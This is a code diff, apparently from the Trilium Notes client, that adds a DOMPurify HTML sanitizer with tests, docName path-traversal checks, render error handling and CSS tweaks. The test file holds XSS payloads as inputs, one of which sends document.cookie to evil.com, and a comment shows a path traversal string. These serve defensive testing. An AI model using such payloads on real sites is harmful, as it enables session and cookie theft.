+            // Sanitize docName to prevent path traversal attacks (e.g.,
+            // "../../../../api/notes/_malicious/open?x=" escaping doc_notes).
+            docName = sanitizeDocName(docName);
+            if (!docName) {
+                console.warn("Blocked potentially malicious docName attribute value.");
+                resolve($content);
+                return;
+            }
+
            // find doc based on language
            const url = getUrl(docName, getCurrentLanguage());
            $content.load(url, async (response, status) => {
@@ -48,6 +57,31 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
    await applyReferenceLinks($content[0]);
 }

+function sanitizeDocName(docNameValue: string): string | null {
+    // Strip any path traversal sequences and dangerous URL characters.
+    // Legitimate docName values are simple paths like "User Guide/Topic" or
+    // "launchbar_intro" — they only contain alphanumeric chars, underscores,
+    // hyphens, spaces, and forward slashes for subdirectories.
+    // Reject values containing path traversal (../, ..\) or URL control
+    // characters (?, #, :, @) that could be used to escape the doc_notes
+    // directory or manipulate the resulting URL.
+    if (/\.\.|[?#:@\\]/.test(docNameValue)) {
+        return null;
+    }
+
+    // Remove any leading slashes to prevent absolute path construction.
+    docNameValue = docNameValue.replace(/^\/+/, "");
+
+    // After stripping, ensure only safe characters remain:
+    // alphanumeric, spaces, underscores, hyphens, forward slashes, and periods
+    // (periods are allowed for filenames but .. was already rejected above).
+    if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
+        return null;
+    }
+
+    return docNameValue;
+}
+
 function getUrl(docNameValue: string, language: string) {
    // Cannot have spaces in the URL due to how JQuery.load works.
    docNameValue = docNameValue.replaceAll(" ", "%20");
--- a/apps/client/src/services/experimental_features.ts
+++ b/apps/client/src/services/experimental_features.ts
@@ -1,5 +1,6 @@
 import { t } from "./i18n";
 import options from "./options";
+import { isMobile } from "./utils";

 export interface ExperimentalFeature {
    id: string;
@@ -21,7 +22,7 @@ let enabledFeatures: Set<ExperimentalFeatureId> | null = null;

 export function isExperimentalFeatureEnabled(featureId: ExperimentalFeatureId): boolean {
    if (featureId === "new-layout") {
-        return options.is("newLayout");
+        return (isMobile() || options.is("newLayout"));
    }

    return getEnabledFeatures().has(featureId);
@@ -29,7 +30,7 @@ export function isExperimentalFeatureEnabled(featureId: ExperimentalFeatureId):

 export function getEnabledExperimentalFeatureIds() {
    const values = [ ...getEnabledFeatures().values() ];
-    if (options.is("newLayout")) {
+    if (isMobile() || options.is("newLayout")) {
        values.push("new-layout");
    }
    return values;
--- a/apps/client/src/services/note_tooltip.ts
+++ b/apps/client/src/services/note_tooltip.ts
@@ -7,6 +7,7 @@ import contentRenderer from "./content_renderer.js";
 import appContext from "../components/app_context.js";
 import type FNote from "../entities/fnote.js";
 import { t } from "./i18n.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";

 // Track all elements that open tooltips
 let openTooltipElements: JQuery<HTMLElement>[] = [];
@@ -90,7 +91,8 @@ async function mouseEnterHandler(this: HTMLElement) {
        return;
    }

-    const html = `<div class="note-tooltip-content">${content}</div>`;
+    const sanitizedContent = sanitizeNoteContentHtml(content);
+    const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
    const tooltipClass = "tooltip-" + Math.floor(Math.random() * 999_999_999);

    // we need to check if we're still hovering over the element
@@ -108,6 +110,8 @@ async function mouseEnterHandler(this: HTMLElement) {
            title: html,
            html: true,
            template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
+            // Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
+            // (which is too aggressive for our rich-text content) can be disabled.
            sanitize: false,
            customClass: linkId
        });
--- a/apps/client/src/services/render.ts
+++ b/apps/client/src/services/render.ts
@@ -1,54 +0,0 @@
-import { h, VNode } from "preact";
-
-import type FNote from "../entities/fnote.js";
-import { renderReactWidgetAtElement } from "../widgets/react/react_utils.jsx";
-import bundleService, { type Bundle } from "./bundle.js";
-import froca from "./froca.js";
-import server from "./server.js";
-
-async function render(note: FNote, $el: JQuery<HTMLElement>) {
-    const relations = note.getRelations("renderNote");
-    const renderNoteIds = relations.map((rel) => rel.value).filter((noteId) => noteId);
-
-    $el.empty().toggle(renderNoteIds.length > 0);
-
-    for (const renderNoteId of renderNoteIds) {
-        const bundle = await server.post<Bundle>(`script/bundle/${renderNoteId}`);
-
-        const $scriptContainer = $("<div>");
-        $el.append($scriptContainer);
-
-        $scriptContainer.append(bundle.html);
-
-        // async so that scripts cannot block trilium execution
-        bundleService.executeBundle(bundle, note, $scriptContainer).then(result => {
-            // Render JSX
-            if (bundle.html === "") {
-                renderIfJsx(bundle, result, $el);
-            }
-        });
-    }
-
-    return renderNoteIds.length > 0;
-}
-
-async function renderIfJsx(bundle: Bundle, result: unknown, $el: JQuery<HTMLElement>) {
-    // Ensure the root script note is actually a JSX.
-    const rootScriptNoteId = await froca.getNote(bundle.noteId);
-    if (rootScriptNoteId?.mime !== "text/jsx") return;
-
-    // Ensure the output is a valid el.
-    if (typeof result !== "function") return;
-
-    // Obtain the parent component.
-    const closestComponent = glob.getComponentByEl($el.closest(".component")[0]);
-    if (!closestComponent) return;
-
-    // Render the element.
-    const el = h(result as () => VNode, {});
-    renderReactWidgetAtElement(closestComponent, el, $el[0]);
-}
-
-export default {
-    render
-};
--- a/apps/client/src/services/render.tsx
+++ b/apps/client/src/services/render.tsx
@@ -0,0 +1,86 @@
+import { Component, h, VNode } from "preact";
+
+import type FNote from "../entities/fnote.js";
+import { renderReactWidgetAtElement } from "../widgets/react/react_utils.jsx";
+import { type Bundle, executeBundleWithoutErrorHandling } from "./bundle.js";
+import froca from "./froca.js";
+import server from "./server.js";
+
+type ErrorHandler = (e: unknown) => void;
+
+async function render(note: FNote, $el: JQuery<HTMLElement>, onError?: ErrorHandler) {
+    const relations = note.getRelations("renderNote");
+    const renderNoteIds = relations.map((rel) => rel.value).filter((noteId) => noteId);
+
+    $el.empty().toggle(renderNoteIds.length > 0);
+
+    try {
+        for (const renderNoteId of renderNoteIds) {
+            const bundle = await server.postWithSilentInternalServerError<Bundle>(`script/bundle/${renderNoteId}`);
+
+            const $scriptContainer = $("<div>");
+            $el.append($scriptContainer);
+
+            $scriptContainer.append(bundle.html);
+
+            // async so that scripts cannot block trilium execution
+            executeBundleWithoutErrorHandling(bundle, note, $scriptContainer)
+                .catch(onError)
+                .then(result => {
+                    // Render JSX
+                    if (bundle.html === "") {
+                        renderIfJsx(bundle, result, $el, onError).catch(onError);
+                    }
+                });
+        }
+
+        return renderNoteIds.length > 0;
+    } catch (e) {
+        if (typeof e === "string" && e.startsWith("{") && e.endsWith("}")) {
+            try {
+                onError?.(JSON.parse(e));
+            } catch (e) {
+                onError?.(e);
+            }
+        } else {
+            onError?.(e);
+        }
+    }
+}
+
+async function renderIfJsx(bundle: Bundle, result: unknown, $el: JQuery<HTMLElement>, onError?: ErrorHandler) {
+    // Ensure the root script note is actually a JSX.
+    const rootScriptNoteId = await froca.getNote(bundle.noteId);
+    if (rootScriptNoteId?.mime !== "text/jsx") return;
+
+    // Ensure the output is a valid el.
+    if (typeof result !== "function") return;
+
+    // Obtain the parent component.
+    const closestComponent = glob.getComponentByEl($el.closest(".component")[0]);
+    if (!closestComponent) return;
+
+    // Render the element.
+    const UserErrorBoundary = class UserErrorBoundary extends Component {
+        constructor(props: object) {
+            super(props);
+            this.state = { error: null };
+        }
+
+        componentDidCatch(error: unknown) {
+            onError?.(error);
+            this.setState({ error });
+        }
+
+        render() {
+            if ("error" in this.state && this.state?.error) return null;
+            return this.props.children;
+        }
+    };
+    const el = h(UserErrorBoundary, {}, h(result as () => VNode, {}));
+    renderReactWidgetAtElement(closestComponent, el, $el[0]);
+}
+
+export default {
+    render
+};
--- a/apps/client/src/services/sanitize_content.spec.ts
+++ b/apps/client/src/services/sanitize_content.spec.ts
@@ -0,0 +1,236 @@
+import { describe, expect, it } from "vitest";
+import { sanitizeNoteContentHtml } from "./sanitize_content";
+
+describe("sanitizeNoteContentHtml", () => {
+    // --- Preserves legitimate CKEditor content ---
+
+    it("preserves basic rich text formatting", () => {
+        const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves headings", () => {
+        const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves links with href", () => {
+        const html = '<a href="https://example.com">Link</a>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves internal note links with data attributes", () => {
+        const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="reference-link"');
+        expect(result).toContain('href="#root/abc123"');
+        expect(result).toContain('data-note-path="root/abc123"');
+        expect(result).toContain(">My Note</a>");
+    });
+
+    it("preserves images with src", () => {
+        const html = '<img src="api/images/abc123/image.png" alt="test">';
+        expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
+    });
+
+    it("preserves tables", () => {
+        const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves code blocks", () => {
+        const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves include-note sections with data-note-id", () => {
+        const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="include-note"');
+        expect(result).toContain('data-note-id="abc123"');
+        expect(result).toContain("&nbsp;</section>");
+    });
+
+    it("preserves figure and figcaption", () => {
+        const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
+        expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
+        expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
+    });
+
+    it("preserves task list checkboxes", () => {
+        const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('type="checkbox"');
+        expect(result).toContain("checked");
+    });
+
+    it("preserves inline styles for colors", () => {
+        const html = '<span style="color: red;">Red text</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("style");
+        expect(result).toContain("color");
+    });
+
+    it("preserves data-* attributes", () => {
+        const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('data-custom-attr="value"');
+        expect(result).toContain('data-note-id="abc"');
+    });
+
+    // --- Blocks XSS vectors ---
+
+    it("strips script tags", () => {
+        const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+        expect(result).toContain("<p>Hello</p>");
+        expect(result).toContain("<p>World</p>");
+    });
+
+    it("strips onerror event handlers on images", () => {
+        const html = '<img src="x" onerror="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onclick event handlers", () => {
+        const html = '<div onclick="alert(1)">Click me</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onclick");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onload event handlers", () => {
+        const html = '<img src="x" onload="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onload");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onmouseover event handlers", () => {
+        const html = '<span onmouseover="alert(1)">Hover</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onmouseover");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onfocus event handlers", () => {
+        const html = '<input onfocus="alert(1)" autofocus>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onfocus");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips javascript: URIs in href", () => {
+        const html = '<a href="javascript:alert(1)">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips javascript: URIs in img src", () => {
+        const html = '<img src="javascript:alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips iframe tags", () => {
+        const html = '<iframe src="https://evil.com"></iframe>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<iframe");
+    });
+
+    it("strips object tags", () => {
+        const html = '<object data="evil.swf"></object>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<object");
+    });
+
+    it("strips embed tags", () => {
+        const html = '<embed src="evil.swf">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<embed");
+    });
+
+    it("strips style tags", () => {
+        const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<style");
+        expect(result).toContain("<p>Text</p>");
+    });
+
+    it("strips SVG with embedded script", () => {
+        const html = '<svg><script>alert(1)</script></svg>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips meta tags", () => {
+        const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<meta");
+    });
+
+    it("strips base tags", () => {
+        const html = '<base href="https://evil.com/"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<base");
+    });
+
+    it("strips link tags", () => {
+        const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<link");
+    });
+
+    // --- Edge cases ---
+
+    it("handles empty string", () => {
+        expect(sanitizeNoteContentHtml("")).toBe("");
+    });
+
+    it("handles null-like falsy values", () => {
+        expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
+        expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
+    });
+
+    it("handles nested XSS attempts", () => {
+        const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("fetch");
+        expect(result).not.toContain("cookie");
+        expect(result).toContain("Safe");
+        expect(result).toContain("Also safe");
+    });
+
+    it("handles case-varied event handlers", () => {
+        const html = '<img src="x" ONERROR="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result.toLowerCase()).not.toContain("onerror");
+    });
+
+    it("strips dangerous data: URI on anchor elements", () => {
+        const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        // DOMPurify should either strip the href or remove the dangerous content
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert(1)");
+    });
+
+    it("allows data: URI on image elements", () => {
+        const html = '<img src="data:image/png;base64,iVBOR...">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("data:image/png");
+    });
+
+    it("strips template tags which could contain scripts", () => {
+        const html = '<template><script>alert(1)</script></template>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("<template");
+    });
+});
--- a/apps/client/src/services/sanitize_content.ts
+++ b/apps/client/src/services/sanitize_content.ts
@@ -0,0 +1,161 @@
+/**
+ * Client-side HTML sanitization for note content rendering.
+ *
+ * This module provides sanitization of HTML content before it is injected into
+ * the DOM, preventing stored XSS attacks. Content written through non-CKEditor
+ * paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
+ * handlers, or other XSS vectors that must be stripped before rendering.
+ *
+ * Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
+ * dependency of this project (via mermaid).
+ *
+ * The configuration is intentionally permissive for rich-text formatting
+ * (bold, italic, headings, tables, images, links, etc.) while blocking
+ * script execution vectors (script tags, event handlers, javascript: URIs,
+ * data: URIs on non-image elements, etc.).
+ */
+import DOMPurify from "dompurify";
+
+/**
+ * Tags allowed in sanitized note content. This mirrors the server-side
+ * SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
+ * tags needed for CKEditor content rendering (e.g. <section> for included
+ * notes, <figure>/<figcaption> for images and tables).
+ *
+ * Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
+ * <input> (except checkbox via specific attribute allowance), <link>, <meta>.
+ */
+const ALLOWED_TAGS = [
+    // Headings
+    "h1", "h2", "h3", "h4", "h5", "h6",
+    // Block elements
+    "blockquote", "p", "div", "pre", "section", "article", "aside",
+    "header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
+    // Lists
+    "ul", "ol", "li", "dl", "dt", "dd", "menu",
+    // Inline formatting
+    "a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
+    "abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
+    "small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
+    "cite", "acronym", "data", "rp",
+    // Tables
+    "table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
+    "col", "colgroup",
+    // Media
+    "img", "figure", "figcaption", "video", "audio", "picture",
+    "area", "map", "track",
+    // Separators
+    "hr", "br",
+    // Interactive (limited)
+    "label", "input",
+    // Other
+    "span",
+    // CKEditor specific
+    "en-media"
+];
+
+/**
+ * Attributes allowed on sanitized elements. DOMPurify uses a flat list
+ * of allowed attribute names that apply to all elements.
+ */
+const ALLOWED_ATTR = [
+    // Common
+    "class", "style", "title", "id", "dir", "lang", "tabindex",
+    "spellcheck", "translate", "hidden",
+    // Links
+    "href", "target", "rel",
+    // Images & media
+    "src", "alt", "width", "height", "loading", "srcset", "sizes",
+    "controls", "autoplay", "loop", "muted", "preload", "poster",
+    // Data attributes (CKEditor uses these extensively)
+    // DOMPurify allows data-* by default when ADD_ATTR includes them
+    // Tables
+    "colspan", "rowspan", "scope", "headers",
+    // Input (for checkboxes in task lists)
+    "type", "checked", "disabled",
+    // Misc
+    "align", "valign", "center",
+    "open", // for <details>
+    "datetime", // for <time>, <del>, <ins>
+    "cite" // for <blockquote>, <del>, <ins>
+];
+
+/**
+ * URI-safe protocols allowed in href/src attributes.
+ * Blocks javascript:, vbscript:, and other dangerous schemes.
+ */
+// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
+// which restricts data: URIs to only <img> elements.
+const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
+
+/**
+ * DOMPurify configuration for sanitizing note content.
+ */
+const PURIFY_CONFIG: DOMPurify.Config = {
+    ALLOWED_TAGS,
+    ALLOWED_ATTR,
+    ALLOWED_URI_REGEXP,
+    // Allow data-* attributes (used extensively by CKEditor)
+    ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
+               "data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
+    // Do not allow <style> or <script> tags
+    FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
+                  "base", "noscript", "template"],
+    // Do not allow event handler attributes
+    FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
+                  "onblur", "onsubmit", "onreset", "onchange", "oninput",
+                  "onkeydown", "onkeyup", "onkeypress", "onmousedown",
+                  "onmouseup", "onmousemove", "onmouseout", "onmouseenter",
+                  "onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
+                  "ondrag", "ondragend", "ondragenter", "ondragleave",
+                  "ondragover", "ondragstart", "ondrop", "onscroll",
+                  "oncopy", "oncut", "onpaste", "onanimationend",
+                  "onanimationiteration", "onanimationstart",
+                  "ontransitionend", "onpointerdown", "onpointerup",
+                  "onpointermove", "onpointerover", "onpointerout",
+                  "onpointerenter", "onpointerleave", "ontouchstart",
+                  "ontouchend", "ontouchmove", "ontouchcancel"],
+    // Allow data: URIs only for images (needed for inline images)
+    ADD_DATA_URI_TAGS: ["img"],
+    // Return a string
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false,
+    // Keep the document structure intact
+    WHOLE_DOCUMENT: false,
+    // Allow target attribute on links
+    ADD_TAGS: []
+};
+
+// Configure a DOMPurify hook to handle data-* attributes more broadly
+// since CKEditor uses many custom data attributes.
+DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
+    // Allow all data-* attributes
+    if (data.attrName.startsWith("data-")) {
+        data.forceKeepAttr = true;
+    }
+});
+
+/**
+ * Sanitizes HTML content for safe rendering in the DOM.
+ *
+ * This function should be called on all user-provided HTML content before
+ * inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
+ * or Element.innerHTML.
+ *
+ * The sanitizer preserves rich-text formatting produced by CKEditor
+ * (bold, italic, links, tables, images, code blocks, etc.) while
+ * stripping XSS vectors (script tags, event handlers, javascript: URIs).
+ *
+ * @param dirtyHtml - The untrusted HTML string to sanitize.
+ * @returns A sanitized HTML string safe for DOM insertion.
+ */
+export function sanitizeNoteContentHtml(dirtyHtml: string): string {
+    if (!dirtyHtml) {
+        return dirtyHtml;
+    }
+    return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
+}
+
+export default {
+    sanitizeNoteContentHtml
+};
--- a/apps/client/src/services/server.ts
+++ b/apps/client/src/services/server.ts
@@ -73,6 +73,10 @@ async function post<T>(url: string, data?: unknown, componentId?: string) {
    return await call<T>("POST", url, componentId, { data });
 }

+async function postWithSilentInternalServerError<T>(url: string, data?: unknown, componentId?: string) {
+    return await call<T>("POST", url, componentId, { data, silentInternalServerError: true });
+}
+
 async function put<T>(url: string, data?: unknown, componentId?: string) {
    return await call<T>("PUT", url, componentId, { data });
 }
@@ -111,6 +115,7 @@ let maxKnownEntityChangeId = 0;
 interface CallOptions {
    data?: unknown;
    silentNotFound?: boolean;
+    silentInternalServerError?: boolean;
    // If `true`, the value will be returned as a string instead of a JavaScript object if JSON, XMLDocument if XML, etc.
    raw?: boolean;
 }
@@ -143,7 +148,7 @@ async function call<T>(method: string, url: string, componentId?: string, option
            });
        })) as any;
    } else {
-        resp = await ajax(url, method, data, headers, !!options.silentNotFound, options.raw);
+        resp = await ajax(url, method, data, headers, options);
    }

    const maxEntityChangeIdStr = resp.headers["trilium-max-entity-change-id"];
@@ -155,10 +160,7 @@ async function call<T>(method: string, url: string, componentId?: string, option
    return resp.body as T;
 }

-/**
- * @param raw if `true`, the value will be returned as a string instead of a JavaScript object if JSON, XMLDocument if XML, etc.
- */
-function ajax(url: string, method: string, data: unknown, headers: Headers, silentNotFound: boolean, raw?: boolean): Promise<Response> {
+function ajax(url: string, method: string, data: unknown, headers: Headers, opts: CallOptions): Promise<Response> {
    return new Promise((res, rej) => {
        const options: JQueryAjaxSettings = {
            url: window.glob.baseApiUrl + url,
@@ -190,7 +192,9 @@ function ajax(url: string, method: string, data: unknown, headers: Headers, sile
                    // don't report requests that are rejected by the browser, usually when the user is refreshing or going to a different page.
                    rej("rejected by browser");
                    return;
-                } else if (silentNotFound && jqXhr.status === 404) {
+                } else if (opts.silentNotFound && jqXhr.status === 404) {
+                    // report nothing
+                } else if (opts.silentInternalServerError && jqXhr.status === 500) {
                    // report nothing
                } else {
                    await reportError(method, url, jqXhr.status, jqXhr.responseText);
@@ -200,7 +204,7 @@ function ajax(url: string, method: string, data: unknown, headers: Headers, sile
            }
        };

-        if (raw) {
+        if (opts.raw) {
            options.dataType = "text";
        }

@@ -299,6 +303,7 @@ export default {
    get,
    getWithSilentNotFound,
    post,
+    postWithSilentInternalServerError,
    put,
    patch,
    remove,
--- a/apps/client/src/stylesheets/style.css
+++ b/apps/client/src/stylesheets/style.css
@@ -28,7 +28,7 @@
    --bs-body-color: var(--main-text-color) !important;
    --bs-body-bg: var(--main-background-color) !important;
    --ck-mention-list-max-height: 500px;
-    --tn-modal-max-height: 90vh;
+    --tn-modal-max-height: 90svh;

    --tree-item-light-theme-max-color-lightness: 50;
    --tree-item-dark-theme-min-color-lightness: 75;
@@ -111,6 +111,7 @@ body.mobile #root-widget.virtual-keyboard-opened #mobile-bottom-bar {
 }

 #mobile-bottom-bar {
+    border-top: 1px solid var(--main-border-color);
    padding-bottom: var(--mobile-bottom-offset);
 }

@@ -152,6 +153,11 @@ textarea,
    background: var(--input-background-color);
 }

+.form-control:disabled {
+    background-color: var(--input-background-color);
+    opacity: 0.6;
+}
+
 .form-control:focus {
    color: var(--input-text-color);
    background: var(--input-background-color);
@@ -224,10 +230,6 @@ body.mobile .modal .modal-dialog {
    width: 100%;
 }

-body.mobile .modal .modal-content {
-    border-radius: var(--bs-modal-border-radius) var(--bs-modal-border-radius) 0 0;
-}
-
 .component {
    contain: size;
 }
@@ -413,6 +415,7 @@ body.desktop .tabulator-popup-container,

 .dropdown-menu.static {
    box-shadow: unset;
+    backdrop-filter: unset !important;
 }

 .dropend .dropdown-toggle::after {
@@ -458,7 +461,7 @@ body.desktop .tabulator-popup-container,
    visibility: hidden;
 }

-body.desktop .dropdown-menu:not(#context-menu-container) .dropdown-item,
+.dropdown-menu:not(#context-menu-container) .dropdown-item,
 body.desktop .dropdown-menu .dropdown-toggle,
 body #context-menu-container .dropdown-item > span,
 body.mobile .dropdown .dropdown-submenu > span {
@@ -466,6 +469,15 @@ body.mobile .dropdown .dropdown-submenu > span {
    align-items: center;
 }

+
+body.mobile .dropdown .dropdown-submenu {
+    flex-wrap: wrap;
+
+    & > span {
+        flex-grow: 1;
+    }
+}
+
 .dropdown-item span.keyboard-shortcut,
 .dropdown-item *:not(.keyboard-shortcut) > kbd {
    flex-grow: 1;
@@ -935,6 +947,7 @@ table.promoted-attributes-in-tooltip th {
    color: var(--muted-text-color);
    opacity: 0.6;
    line-height: 1;
+    word-wrap: break-word;
 }

 .aa-dropdown-menu .aa-suggestion p {
@@ -1255,7 +1268,7 @@ a.external:not(.no-arrow):after, a[href^="http://"]:not(.no-arrow):after, a[href
    inset-inline-start: 0;
    inset-inline-end: 0;
    bottom: 0;
-    z-index: 1000;
+    z-index: 2500;
    background: rgba(0, 0, 0, 0.1);
 }

@@ -1329,15 +1342,12 @@ body.desktop .dropdown-submenu > .dropdown-menu {
    max-width: 300px;
 }

-.dropdown-submenu.dropstart > .dropdown-menu {
+.dropdown-submenu.dropstart > .dropdown-menu,
+body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
    inset-inline-start: auto;
    inset-inline-end: calc(100% - 2px);
 }

-body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
-    inset-inline-start: calc(-100% + 10px);
-}
-
 .right-dropdown-widget {
    flex-shrink: 0;
 }
@@ -1534,7 +1544,8 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {

@media (max-width: 991px) {
    body.mobile #launcher-pane .dropdown.global-menu > .dropdown-menu.show,
-    body.mobile #launcher-container .dropdown > .dropdown-menu.show {
+    body.mobile #launcher-container .dropdown > .dropdown-menu.show,
+    body.mobile .dropdown-menu.mobile-bottom-menu.show {
        --dropdown-bottom: calc(var(--mobile-bottom-offset) + var(--launcher-pane-size));
        position: fixed !important;
        bottom: var(--dropdown-bottom) !important;
@@ -1546,6 +1557,16 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
        max-height: calc(var(--tn-modal-max-height) - var(--dropdown-bottom));
    }

+    body.mobile #launcher-container .dropdown > .dropdown-menu.show {
+        border-bottom-left-radius: 0;
+        border-bottom-right-radius: 0;
+    }
+
+    body.mobile .dropdown-menu.mobile-bottom-menu.show {
+        --dropdown-bottom: 0px;
+        padding-bottom: calc(max(var(--menu-padding-size), env(safe-area-inset-bottom))) !important;
+    }
+
    #mobile-sidebar-container {
        position: fixed;
        top: 0;
@@ -1566,7 +1587,7 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
        position: absolute;
        top: 0;
        inset-inline-start: 0;
-        bottom: 0;
+        height: 100dvh;
        width: 85vw;
        padding-top: env(safe-area-inset-top);
        transition: transform 250ms ease-in-out;
@@ -1614,6 +1635,7 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {

    body.mobile .modal-content {
        overflow-y: auto;
+        border-radius: var(--bs-modal-border-radius) var(--bs-modal-border-radius) 0 0;
    }

    body.mobile .modal-footer {
@@ -1629,13 +1651,27 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
        word-break: break-all;
    }

-    body.mobile .jump-to-note-dialog .modal-content {
-        overflow-y: auto;
-    }
+    body.mobile .jump-to-note-dialog {
+        .modal-header {
+            padding-bottom: 0.75rem !important;
+        }

-    body.mobile .jump-to-note-dialog .modal-dialog .aa-dropdown-menu {
-        max-height: unset;
-        overflow: auto;
+        .modal-content {
+            padding-bottom: 0 !important;
+        }
+
+        .modal-body {
+            overflow-y: auto;
+        }
+
+        .aa-dropdown-menu {
+            max-height: unset;
+            overflow: auto;
+        }
+
+        .aa-suggestion {
+            padding-inline: 0;
+        }
    }

    body.mobile .modal-dialog .dropdown-menu {
@@ -1669,39 +1705,16 @@ body:not(.mobile) #launcher-pane.horizontal .dropdown-submenu > .dropdown-menu {
    #detail-container {
        background: var(--main-background-color);
    }
-}

-@media (max-width: 991px) {
